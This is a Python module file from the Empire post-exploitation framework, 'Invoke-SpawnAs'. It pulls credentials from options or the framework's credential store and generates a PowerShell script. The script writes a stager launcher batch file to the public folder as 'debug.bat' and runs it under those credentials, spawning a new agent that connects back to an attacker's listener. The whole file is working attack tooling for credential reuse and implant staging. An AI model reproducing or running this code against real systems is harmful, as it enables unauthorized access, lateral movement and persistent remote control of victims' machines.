Empire/lib/modules/management/spawnas.py

156 lines
5.7 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-SpawnAs',
'Author': ['rvrsh3ll (@424f424f)', '@harmj0y'],
'Description': ('Spawn an agent with the specified logon credentials.'),
'Background' : False,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/RunAs.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Optional domain.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : 'Username to run the command as.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'Password for the specified username.',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common powerup.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
script = f.read()
f.close()
# if a credential ID is specified, try to parse
credID = self.options["CredID"]['Value']
if credID != "":
if not self.mainMenu.credentials.is_credential_valid(credID):
print helpers.color("[!] CredID is invalid!")
return ""
(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
if domainName != "":
self.options["Domain"]['Value'] = domainName
if userName != "":
self.options["UserName"]['Value'] = userName
if password != "":
self.options["Password"]['Value'] = password
# extract all of our options
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
# generate the .bat launcher code to write out to the specified location
# this is because the System.Diagnostics.ProcessStartInfo method appears
# to have a length limit on the arguments passed :(
l = self.mainMenu.stagers.stagers['launcher_bat']
l.options['Listener']['Value'] = self.options['Listener']['Value']
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
l.options['Delete']['Value'] = "True"
launcherCode = l.generate()
# PowerShell code to write the launcher.bat out
script += "$tempLoc = \"$env:public\debug.bat\""
script += "\n$batCode = @\"\n" + launcherCode + "\"@\n"
script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n"
script += "\"Launcher bat written to $tempLoc `n\";\n"
script += "\nInvoke-RunAs "
script += "-UserName %s " %(self.options["UserName"]['Value'])
script += "-Password %s " %(self.options["Password"]['Value'])
domain = self.options["Domain"]['Value']
if(domain and domain != ""):
script += "-Domain %s " %(domain)
script += "-Cmd \"$env:public\debug.bat\""
return script